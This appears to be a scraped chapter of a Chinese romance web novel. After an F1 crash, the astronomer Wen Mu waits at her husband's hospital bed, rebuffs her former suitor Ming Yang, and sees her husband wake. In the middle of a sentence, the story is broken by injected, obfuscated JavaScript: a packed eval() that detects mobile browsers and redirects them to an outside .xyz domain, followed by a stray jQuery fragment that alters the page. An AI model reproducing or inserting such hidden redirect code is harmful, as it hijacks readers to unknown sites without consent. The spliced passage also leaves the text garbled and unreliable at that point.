苏黎世机场的广播在头顶回荡，温木坐在候机室的椅子上，指甲深深陷入掌心。
她盯着登机口上方的显示屏，上面跳动的数字像一把钝刀，缓慢地切割着她的神经。
水晶星云的碎片还躺在她的包里。
尖锐的边缘刺穿了天鹅绒盒子，也刺穿了她的冷静。
电视里的画面挥之不去。
那辆银黑色的赛车扭曲得像一张被揉皱的纸，前翼支离破碎，碳纤维碎片散落一地。救护车的红灯闪烁，医护人员围着担架忙碌。
而最刺眼的，是车身上那个黑色的“5”。
她第一次很后悔，为什么，要把这个数字记得这么清楚。
温木机械地掏出手机，第无数次拨打那个熟悉的号码。
听筒里传来的依然是冰冷的提示音：“您拨打的电话暂时无法接通。”
“乘坐LX345航班前往伦敦的旅客，现在开始登机。”
温木猛地站起身，膝盖撞到了座椅扶手，疼痛却毫无知觉。她抓起背包，随着人流走向登机口。
登机桥的玻璃映出她的脸。苍白得像一张纸，嘴唇被咬出了血痕，眼睛却干涩得发疼。
飞机起飞，胸腔深处传来巨大的悬空感，温木死死抓住扶手，咬住下唇，试图用痛感麻痹紊乱的神经。
机身倾斜的瞬间，她想起他们去挪威的那一天。
她依旧是怕，但为了不让宋星燃笑话，只是闭着眼睛假寐。
宋星燃凑到她身边，紧紧搂住她：“温老师，别害怕。起飞的时侯最刺激了，就像赛车起步时的推背感。”
“它会把你送上天空，去见你最喜欢的星星。”
她记得自己当时笑着骂他幼稚，现在却恨不得立刻体验那种推背感，只要能更快地赶到他身边。
“女士，您需要毛毯吗？”空乘温柔的声音传来。
温木摇摇头，视线落在舷窗外翻滚的云层上。
云朵在夕阳的照射下呈现出瑰丽的橘红色，美得惊心动魄。
宋星燃在世界各地到处飞，每到一个地方，总爱拍下这样的天空发给她，还很认真地说：“今天的云像你论文里描述的蟹状星云。”
虽然那根本不像，只是他想找个理由跟她聊天罢了。
温木打开手机相册，手指颤抖着划过那些照片。最后停在一张宋星燃的自拍上——他戴着赛车头盔，护目镜掀起，露出那双琥珀色的眼睛和标志性的虎牙笑容，背景是银石赛道的起点线。
“老婆，明天比赛，记得看我拿冠军！“
这是昨天他发的最后一条消息。
温木的喉咙发紧，她猛地合上手机，闭上眼睛。
温木，冷静，你必须冷静。
她知道宋星燃经历过大大小小危险的事故，他总说赛车就像跳舞，偶尔会踩错步子，但不会真的摔倒。
可这次不一样。
电视里那辆车的惨状在她脑海中挥之不去。前翼完全碎裂意味着撞击速度至少200公里每小时。安全系统能保护他不死，但无法保证他不受伤。
“女士，您还好吗？”
空乘再次出现，这次声音里带着担忧。
温木这才意识到，自己的手在剧烈颤抖，指甲在掌心留下了深深的月牙形痕迹，稍稍见了血。
她勉强挤出一个微笑：“我没事，谢谢。”
空乘递来一杯温水：“您看起来脸色很差。”
温木伸手接过，玻璃杯在女人颤抖的手中差点滑落，温水滑过喉咙，她才发觉那处隐隐的痛楚。
她轻声道了谢，转头看向窗外。
天色已经完全暗下来，云层变成了深灰色，像一块厚重的毯子覆盖着大地，压得人喘不过气来。
飞机开始下降时，温木再次拨打宋星燃的电话。
依然无人接听。
希思罗机场的灯光在雨幕中显得模糊不清。
温木几乎是跑着下了飞机，护照和登机牌捏在手里已经皱成一团。她冲进到达大厅，直奔出租车候车区。
“Silverstone医疗中心，越快越好。”她的声音嘶哑得不像自己。
司机从后视镜看了她一眼：“小姐，那里离这儿有一个多小时车程……”
温木直接从钱包里抽出几张钞票：“拜托了。”
车窗外的雨越下越大，雨刷器在挡风玻璃上划出规律的弧线。
温木盯着仪表盘上的时钟，每一秒都像一年那么漫长。她一边又一遍不甘心地拨打着那串熟悉的号码，回应她的只有那个冰冷的提示音。
“您在Silverstone工作？”司机试图搭话。
温木的喉咙发紧：“是我丈夫。他是一位赛车手。”
司机恍然大悟：“哦！今天是有F1测试赛。等等，下午好像出了事故。”
温木的手指猛地掐进座椅。
真的出事了，他真的出事了。
“我听广播里说，有辆车失控撞墙了，车手送医……”司机从后视镜看到温木惨白的脸色，突然意识到什么，“天啊，该不会是……”
温木没有回答。
她转过头，看向窗外飞驰而过的景色，雨水在玻璃上扭曲成蜿蜒的河流，和她的心，一般无二。
“我很抱歉，女士。你的丈夫会没事的。”
温木想开口，却怎么也发不出声音，她只能，轻微地点了下头。
医院的灯光在雨夜中格外刺眼。
温木甚至没等车完全停稳就推开门冲了出去，雨水瞬间打湿了她的头发和衣服。
“宋星燃！F1车手宋星燃在哪？”她扑向前台，声音颤抖。
护士抬头看了她一眼：“您是？”
“我是他的妻子。”
护士快速敲击键盘：“三楼手术室，但现在已经——”
温木没等听完就冲向电梯，等待的人太多，又立刻转向楼梯间。
三楼走廊尽头，手术室的灯依然亮着。
温木喘着气停下脚步，看到两个熟悉的身影，Alex和Jean正坐在长椅上，脸色凝重。
Alex抬头看到她，立刻站了起来：“温，温博士？你怎么来了？”
温木的胸口剧烈起伏，雨水顺着发梢滴落在地板上：“我看到了直播。”
Jean快步走过来：“温博士，你先冷静，宋他——”
“情况怎么样？”温木打断他，声音冷静得可怕。
Alex搓了搓脸：“撞击速度210公里，右侧车身完全损毁。安全系统起了作用，但右腿和肋骨受伤严重。”
温木的视线移向手术室的门：“多久了？”
“三个小时。”Jean低声说，“医生说手术很复杂，但不会有生命危险。”
温木点点头，机械地走到长椅边坐下。她的鞋沾满了灰尘和雨水，白色衬衫湿透贴在身上，却浑然不觉。
Alex递来一条毛巾：“温博士，你先擦一擦。”
温木接过毛巾，却没有动作。目光钉在手术室门上，仿佛能透过那扇门看到里面的情形。
“怎么回事？”
“怎么就，变成这样了。”
她的声音是一贯的沉静，但那瓣毫无血色的唇，一直在颤抖。
Alex和Jean交换了一个眼神。
Jean叹了口气：“最后一圈，领先优势很大，本可以轻松拿下。但7号弯道突然失控，直接撞上护栏。我们怀疑是转向系统故障，但具体原因还要等调查。”
“他失去意识了吗？”
“没有。”Alex赶紧说，“救援队赶到时他还清醒，甚至自己解开了安全带。”
“他，他还说了一句话。”
温木：“他说了什么。”
Alex沉声：“他说，‘别告诉我老婆。’”
胸口一阵刺痛。温木低下头，看着自己颤抖的双手。这双手能操作最精密的天文仪器，能写出复杂的计算公式，此刻，却连一条毛巾都拿不稳。
手术室的灯依然亮着。
温木盯着那刺眼的红光，怎么也不敢相信。
明明，他们刚过完一周年的结婚纪念日。
明明，他们有很长时间都可以生活在一起。
明明，他们的未来，是可见的安宁。
那夜高烧的情景又浮现在脑海。
宋星燃连夜从布鲁塞尔赶回来，指关节因为砸墙而淤青。他笨拙地煮粥，烫伤了手却浑然不觉，只是一遍遍用湿毛巾敷她的额头。
“老婆，你比比赛重要，重要得多。”
他明明是这样跟她承诺的，为什么，不守信用呢？
温木忽然觉得，她不是那个自己理想中，能掌控一切的、理智又冷静的博士小姐。
她的丈夫躺在冰冷的手术室里，承受着巨大的痛苦。
而她除了等待，什么也做不了。
“温博士？”Jean轻声唤她，“你要不要换件衣服？这附近有商店，我帮你买套衣服。”
温木只是摇头：“我等他出来。”
时间一分一秒地流逝。走廊上的时钟指向午夜，手术室的灯终于灭了。
温木猛地站起来，双腿因为久坐而发麻，她踉跄了一下，Alex赶紧扶住她。
医生推门而出，摘下口罩，脸上带着疲惫但放松的表情：“手术很成功。”
温木下意识地软了膝盖，差点跪倒在地。Alex眼疾手快，牢牢撑住她。
“右腿胫骨骨折，三根肋骨断裂，右肩脱臼，轻微脑震荡。”医生快速说道，“万幸没有伤到内脏和脊椎。麻醉效果还要几小时才会消退，他现在在恢复室。”
“但没有生命危险，你们可以放心。”
温木的嘴唇颤抖着：“他，他能完全康复吗？”
“以运动员的标准来看，需要至少三个月恢复期。”医生谨慎地说，“但理论上不会影响职业生涯。”
悬了整整一夜的心，在此刻，终于崩溃了。
眼泪无声地涌出，顺着脸颊滚落，滴在冰冷的地板上。温木没有啜泣，没有抽噎，只是静静地流泪，仿佛身体里的水分都要通过这种方式排干。
Alex轻轻拍着她的背：“没事了，温博士，没事了。”
几位护士推着病床从手术室出来。
温木擦掉眼泪，看向床上的人。男人苍白的脸上戴着氧气面罩，黑色的睫毛在灯光下几乎透明，平日里总是张扬笑着的嘴唇此刻毫无血色。右腿打着厚重的石膏，胸前缠满绷带，像个破碎后被勉强粘合起来的瓷娃娃。
“可以陪他去病房，但他暂时不会醒。”护士温声提醒。
温木点点头，默默跟在病床后面。走廊的灯光惨白，照在宋星燃脸上，更显得他脆弱不堪。
他从前不会这样。他从来都是把伤痕当作荣誉。
她曾经问过他，这些伤都是哪儿来的。他囫囵搪塞过去，只是说，有些事训练时弄的，有些是比赛时弄的。
那次从西班牙回来，他得意扬扬地跟她炫耀着自己的新伤疤。她仔细看过，还好，只是浅浅一道，能好。
那人却是不知道痛一样：“老婆你看，这是巴塞罗那赛道给我的纪念品！”
病房里，机器发出规律的“滴滴”声。
温木坐在窗边的椅子上，看着病床上的男人出神
夜色深沉，雨水拍打着窗户，像无数细小的手指在玻璃上抓挠。
那声音有如凄厉的呐喊，偌大的病房中，只有她能听见，扰得她心乱，缠得她心酸。
她轻轻握住没有插管的那只手——那只总是温暖有力的手，此刻冰凉而无力。
她小心避开静脉注射针头，将自己的手指与他交缠。
“你这个骗子。”温木低声呢喃。
“说好要拿冠军的，说好下个星期就回来的，说好给我带马卡龙的。”
“为什么，你现在躺在这里，不看我，也不跟我说话。”
“我讨厌你。”
“我真的好讨厌你。”
她知道自己现在看起来像个疯子，但她不在乎。
温木俯身，轻轻吻了吻宋星燃的额头。
萦绕在男人身上的，不再是她熟悉的那个混合着机油和薄荷须后水的味道。
只有消毒水的味道，让她无处躲藏的，消毒水的味道。
“你要快点好起来，知道吗？”
“我有好多话要对你说。”
窗外，雨势渐小。
黎明的第一缕光线穿透云层，照在病床上。
*
温木是被一阵尖锐的疼痛惊醒的。
她的右手完全失去了知觉，脊椎仿佛被灌了水泥，从尾椎到颈椎都发出抗议的呻吟。
昨晚淋雨的后果也在这个时候找上门，喉咙火烧般疼痛，太阳穴一跳一跳地抽动。
温木猛地直起身，眼前一阵发黑。
她强撑着精神，立刻转向病床。
宋星燃依然安静地躺着，氧气面罩上规律的雾气证明他还活着。
但除此之外，没有任何变化。
苍白的脸色，紧闭的双眼，干裂的嘴唇，都和昨晚一模一样。
“为什么。”温木的声音嘶哑得不成样子，手指轻轻描摹着丈夫的眉骨，“为什么还不醒。”
窗外的阳光透过百叶窗在地板上投下条纹状的影子。
温木眯拿起手机，下午三点了，她竟然睡了这么久。
医生说过麻醉效果会在几小时内消退，可现在，已经过去将近二十个小时了。
“宋星燃。”她轻声喊他，
“你要睡到什么时候？”
手指滑到男人的脉搏处，他的心跳通过指尖传来，稳定但微弱。
她俯身凑近丈夫耳边，试图用恶狠狠的语气威胁他醒过来：“你再不醒，我就把你的赛车模型全送人。”
没有反应。
“我要把你的车漆全都刮花，你的法拉利，兰博基尼，柯尼赛格，有一辆算一辆。”
依然没有反应。
她握住男人的手，感受到掌心传来的冰凉的温度。
明明，她才是那个总是手心冰凉的人。他喜欢借此搂着她，美其名曰“为她取暖”。
温木往自己的手心里哈气，希望她的手可以热起来，可以给躺着的人一点温暖。
宋星燃只是静静地躺在那儿，漠视着她的一切努力和乞求。
温木最终哽咽。
“求你了。”
“醒过来好不好。”
敲门声突兀响起。
“请进。“温木哑声说。
她专注地看着男人的脸，希望能捕捉到任何一丝苏醒的迹象。
但是，没有。
门开了，脚步声接近，却迟迟没有人说话。温木皱起眉，正要转身——
“看来我高估了他的恢复能力。”
这个声音像一桶冰水浇在温木背上。她猛地转身，眼前又是一阵发黑。
明杨站在病床尾，白大褂下是深蓝色西装。他看起来是那样的整洁得体，不像她，如此狼狈。
“你怎么在这里？”温木的声音冷得像冰。
明杨微微一笑，将手里的文件夹轻轻放在床头柜上：“Schmidt教授委托我来参加皇家学会的学术会议，正好听说……”
他的目光扫过病床，“F1的明星选手出了事故。我想着，应该来探望一下。”
温木的手指无意识地攥紧了床单：“不需要。请你离开。”
“别这么紧张，温老师。”明杨向前一步，皮鞋在地板上发出清脆的声响，“我只是尽一个朋友的义务。”
他的视线在温木凌乱的头发和皱巴巴的衣服上停留。
“你看起来糟透了。”
“我说了，不需要。”温木站直身体，挡在宋星燃前面，“这里有最好的医疗团队。他会没事的。”
明杨轻笑一声，从西装内袋掏出一张名片：“约翰·哈里森，伦敦皇家医院神经外科主任，运动创伤领域的权威。”
他将名片递向温木，“考虑到你丈夫的职业特殊性，我想，也许用得上。”
温木没有接，语气更冷：“我再说最后一遍，不需要。”
“还是这么固执。”明杨叹了口气，将名片放在床头柜上，“你知道吗？五年前你感冒那次，也是这么拒绝我的帮助。”
温木：“那不一样。”
“哪里不一样？”明杨突然上前一步，眼神近乎执拗，“因为现在躺在床上的不是我，而是他？”
温木的胸口剧烈起伏：“明杨，你别这样。”
“别哪样？”明杨的声音突然提高，“别提醒你当初是怎么照顾发烧的我？别提醒你为我煮的那碗粥有多难吃？还是别提醒你在天文台对我说过的话？”
温木的脸色变得苍白：“那都过去了。”
“对你过去了，对我没有。”明杨的声音又低了下来，“温木，看看你现在这个样子。为了一个可能永远醒不过来的男人，值得吗？”
温木的脸色立刻沉下去，她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16426594|181620||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
盯着眼前愤怒的男人，一字一句：“他会醒的。”
“真的？你相信吗？”
“就算醒了又怎样？”明杨冷笑，“你以为以这种伤势，他还能回到赛道上？宋家会养一个废物的三少爷多久？到时候你要怎么办？放弃研究照顾他一辈子？”
“你给我闭嘴。”
温木的双手开始颤抖。
“你根本不了解他。”
“我了解得够多了。“明杨从文件夹里抽出一份报告，“200公里时速的撞击，右腿胫骨骨折，三根肋骨断裂，右肩脱臼，还有轻度脑震荡。”
他抬头看向温木，“你知道这意味着什么吗？即使康复，他的反应速度也会受影响。”
“没有车队会要一个反应迟钝的车手。他注定，要灰溜溜地滚出F1。”
温木猛地抢过报告：“你从哪里得到这个的？”
“我有我的渠道。”明杨平静地说，“重点是，你打算怎么办？”
“什么怎么办？”
“当他不再是那个风光无限的赛车冠军，当他需要你照顾日常生活，当你不得不放弃NASA的工作机会。”明杨步步紧逼，“你还会留在他身边吗？”
温木的眼中燃起怒火：“明杨。你把我当成什么人了？”
“我没有把你当成什么人。你就是你，那个优秀的、前途无量的温博士。”
“现实点吧，温木。”明杨的声音突然柔和下来，“你们的婚姻本就是一场交易。宋家要一个高学历的儿媳提升门楣，你要宋家的资源支持研究。”
“现在交易的基础就要不存在了，你们，也该离婚了。”
“你闭嘴！”温木的声音颤抖着，“你没资格评价我们的婚姻。”
“为什么没资格？”明杨反问，“因为我曾经骗过你？至少我的欺骗没有把你绑在一具可能永远醒不过来的躯体旁边！”
温木怒极反笑。
她真的是看错人了。
怎么会对这样一个，铁石心肠、冷漠自私的男人动心。
“你没有资格。”
“因为你根本不懂什么是爱。”
“我不懂？”明杨突然笑了，“那请问温博士，什么是爱？”
“是守着一个植物人度过余生？是放弃自己的事业当护工？还是……”他的目光扫过病房奢华的装潢，“舍不得宋家给你的优渥生活？”
“啪。”
那份报告砸在男人脸上，划出一道细小的血痕。
“明杨。”
“我真是看错你了。”
明杨沉默着，抬手，摸过脸上的伤口。
“呵。”他笑。
“你确实是看错人了。”
“大错特错。”
他抬头，直直看向眼前愤怒到浑身颤抖的女人。
他没见过这样的温木，在他的印象里，她总能在一切突发情况前保持冷静的头脑，并最快给出一份解决的方案。而不是现在这样，手足无措，濒临极限。
为什么？
她为什么会这样？
他似乎知道答案，但是不愿意相信。
“那温老师能不能教教我，爱是什么样的？”
温木怔住，随后，抬眸看向他。
“你真的想知道吗？”
“嗯。”
“我想。”
“好啊，”她笑，“那你听好了。”
“爱是他明明讨厌雨天，却愿意陪我站在暴雨里数星星；爱是他记得我每个同事的忌口，却总是忘记自己的训练时间；爱是他可以为了我放弃比赛，却不肯让我为他放弃一次观测……”
她哽咽，抬起头，克制住眼角即将落下的泪水。
“他愿意为了我变得更好，他可以为了我牺牲一切。”
“这是我想要的爱。”
明杨的表情凝固，片刻，又轻笑一声。
“你真的变了。”
“不，是我终于明白了。”
温木看向病床上虚弱的男人，眼神柔软。
“遇见他之前，我以为爱情是势均力敌的较量，是精确计算后的选择。是他教会我，爱是不讲道理的冲动，是明知不可为而为之的勇气。”
阳光被云朵挡住，房间里只剩下一层蒙蒙的灰蓝色。机器规律的“滴滴”声成了唯一的背景音。
“你知道吗？他就是个疯子。”
明杨最终说道，声音轻得像叹息。
“是吗？”
温木轻笑。
“但是我爱他。”
“我、爱、他。”
明杨的喉结滚动了一下，然后，是长久的沉默。
终于，他低头失笑。
“好可惜。”
“他听不到了。”
“没关系。”温木走回床边，握住宋星燃的手，“我会等他醒过来，然后一遍遍告诉他。”
她抬头看向明杨，眼神坚定，“现在，请你离开，不要打扰我先生休息。”
明杨站在原地没动。
他的目光在温木和宋星燃之间来回，最后定格在那两只交握的手上。
“还记得在ETH时，你说过什么吗？”
“你说，感情就像宇宙中的双星系统，必须保持完美平衡才能稳定运转。”
“现在看来，你背叛了自己的理论。”
温木轻轻摇头：“不，我修正了它。”
“真正的双星系统不是冰冷的轨道计算，而是……”
她看向病床上的男人，“而是即使引力失衡，也甘愿被对方吞噬的勇气。”
明杨的眼中闪过一丝痛楚。他转身向门口走去，皮鞋在地板上发出沉闷的声响。
他在门口停顿，没有回头。
“希望他值得。”
门关上了。
温木站在原地，听着脚步声渐渐远去。
几乎就是一瞬间，全身的力气像被抽干一般，膝盖一软跪倒在地。她捂住脸，去掉那冰冷的镜片，泪水从指缝中涌出，无声地滴落在地板上。
她不知道自己为什么哭。
是为明杨的执念？
为宋星燃的伤势？
还是为那句终于说出口的“我爱他”？
也许都有。
泪水像决堤的洪水，冲垮了她维持多日的坚强伪装。温木蜷缩在地上，像婴儿般抱住自己，任凭泪水打湿衣襟。
“咳咳咳。”
一个沙哑的声音从头顶传来。
“老婆，你哭起来，好丑。”
温木猛地抬头，泪水模糊的视线中，宋星燃正虚弱地对她微笑。氧气面罩已经被他扯到一边，干裂的嘴唇微微上扬，眼睛虽然疲惫，却闪烁着熟悉的光芒。
“你，你。”温木说不出完整的话，只能慢慢向前挪动，颤抖的手抚上他的脸。
男人艰难地抬起没打石膏的那只手，擦去她脸上的泪水：“我都，听到了。”
温木的眼泪流得更凶了：“全部？”
“嗯。”宋星燃的拇指摩挲着她的脸颊，“从''我爱他''，开始。”
温木把脸埋进他的掌心，泪水打湿了他的手指：“那你还不快点醒过来！”
“想听，更多。”男人的声音虚弱但带着笑意，“再说，一次。”
温木抬起头，透过泪眼看着他苍白的脸。
阳光终于穿透云层，照在病床上，让她切切实实地意识到，他还在她身边。
她深吸一口气，俯身，贴在男人耳边，嗓音缓缓：
“宋星燃。”
“我爱你。”
“不管你能不能赛车，不管你是不是残废，我都爱你。”
“我会每天说给你听，直到你听腻为止。”
宋星燃闭上眼睛，嘴角的笑意扩大：“不够。”
“什么不够？”
“次数。”他费力地说，“要说，一辈子。”
温木破涕为笑，轻轻吻了吻他的额头：“好，一辈子。”
窗外的阳光更盛，驱散了病房里最后的阴霾。
机器的“滴滴”声似乎也变得欢快起来，像一首庆祝的小曲。
温木突然想起什么，抓起明杨留下的那份报告就要撕掉。
“别。宋星燃虚弱地阻止她，“留着。”
“为什么？”
“当，纪念。”他艰难地说，“证明，我老婆，有多爱我。”
温木又哭又笑。
“你这个疯子。”
男人眼中闪过一丝狡黠。
“嗯，是爱你的疯子。”